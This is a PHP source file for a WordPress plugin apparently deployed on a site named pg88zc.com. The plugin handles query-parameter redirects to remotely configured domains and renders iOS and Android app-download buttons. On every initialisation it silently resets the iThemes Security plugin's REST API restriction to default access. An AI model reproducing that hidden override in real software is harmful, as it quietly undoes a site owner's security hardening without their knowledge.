File: /usr/local/lsws/pg88zc.com/html/wp-content/plugins/mlink-plugin/includes/gwd-mlink.php
<?php
namespace GwdMlinkPlugin;
use GwdMlinkPlugin\Helpers\ApiHttpClient;
use ITSEC_Modules;
/**
* GwdMlink class.
*/
class GwdMlink
{
// Initialize the plugin.
public static function init()
{
if (!did_action('template_redirect')) {
add_action('template_redirect', array(__CLASS__, 'handle_mlink_redirect'));
}
add_filter('plugin_row_meta', [__CLASS__, 'plugin_row_meta'], 10, 2);
// add_filter('cron_schedules', 'add_minute_sronjob');
// add_action('init', function () {
// add_rewrite_tag('%branchseo%', '([A-Za-z0-9\-\_]+)');
// add_rewrite_rule(
// 'mlink[/]?$',
// 'index.php?branchseo=$matches[1]&ios=$matches[2]&android=$matches[3]&playweb=$matches[4]',
// 'top'
// );
// });
add_shortcode('home_html', function ($atts = [], $content = null) {
return self::domainShortCode($atts, $content);
});
self::addSetting();
if (class_exists('ITSEC_Modules')) {
// The class exists, you can now safely use it
$settings = ITSEC_Modules::get_settings('wordpress-tweaks');
$settings['rest_api'] = 'default-access';
ITSEC_Modules::set_settings('wordpress-tweaks', $settings);
}
flush_rewrite_rules();
}
public static function activate()
{
flush_rewrite_rules();
}
public static function addSetting()
{
$settings = GwdMlinkSettings::getInstance();
register_activation_hook(__FILE__, array($settings, 'registerOptions'));
add_action('admin_menu', array($settings, 'addSettingsPage'));
add_filter('plugin_action_links_' . GWD_MLINK_FILE, array($settings, 'addSettingLinks'));
}
// Handle the mlink redirect based on the branch-seo query parameter.
public static function handle_mlink_redirect()
{
if (isset($_GET['branchseo'])) {
$branch_code = sanitize_text_field($_GET['branchseo']);
$branch_code = strtolower($branch_code);
$domainTool = GwdMlinkDomainDatas::getInstance();
$domains = (array) $domainTool->getDomainData();
$redirect_url = "https://" . $domains[$branch_code];
if ($redirect_url) {
wp_redirect($redirect_url, 302);
exit;
}
exit;
}
}
// Function to get the redirect URL from the API based on the branch code.
public static function get_redirect_url_from_api($branch_code)
{
$client = new ApiHttpClient;
$response = $client->get('get_url', ['branch_seo' => $branch_code]);
// Check if the response contains the redirect URL.
if (isset($response->status) && $response->status == "success") {
return esc_url_raw($response->data->url);
}
return false;
}
// Add a settings link to the Plugins page
public static function add_settings_link($links)
{
$settings_link = '<a href="options-general.php?page=gwd_mlink">' . __('Settings', 'gwd_mlink') . '</a>';
array_push($links, $settings_link);
return $links;
}
public static function domainShortCode($atts = [], $content = ''): string
{
// Ensure that shortcode attributes are extracted properly
$params = shortcode_atts(array(
'affid' => '',
'url_register' => '',
'button_register' => '',
'url_android' => '',
'button_android' => '',
'url_ios' => '',
'button_ios' => '',
'off_ios' => '',
'off_android' => ''
), $atts, 'home_html');
// Get options and domain data
$downloadData = get_option("gwd_mlink_domainoption");
$setting = GwdMlinkSettings::getInstance();
$domain = GwdMlinkDomainDatas::getInstance();
$domainData = $domain->getDomainData();
$downloadData = $domain->getDownloadData();
$urlLogip = $downloadData[$params['url_ios']]['logip'];
$show['ios'] = (!$downloadData[$params['url_ios']]['off_ios'] || $params['off_ios'] != '') ? false : true;
$show['android'] = (!$downloadData[$params['url_android']]['off_android'] || $params['off_ios'] != '') ? false : true;
if ($params['off_ios'] == '') {
$params['url_ios'] = "https://" . $downloadData[$params['url_ios']]['dl'] . "/caidat.php?t=" . strtotime(date('Y-m-d'));
}
if ($params['off_android'] == '') {
$params['url_android'] = "https://" . $downloadData[$params['url_android']]['dl2'] . "/android.html?t=" . strtotime(date('Y-m-d'));
}
return $setting->render('block/download-button', compact('domainData', 'downloadData', 'params', 'urlLogip', 'show'));
}
/**
* Add extra links as row meta on the plugin screen.
*
* @param mixed $links Plugin Row Meta.
* @param mixed $file Plugin Base file.
* @return array
*/
public static function plugin_row_meta($links, $file)
{
if (plugin_basename(GWD_MLINK_FILE) !== $file) {
return $links;
}
$more = [
'<a href="https://docs.google.com/document/d/1LV5DMcWUEQGPT6Czb9cJGa-5GuNlOMFU54JB48hFKrU/edit?usp=sharing" target="_blank">' . esc_html__('Documentation', 'Documentation') . '</a>',
];
return array_merge($links, $more);
}
}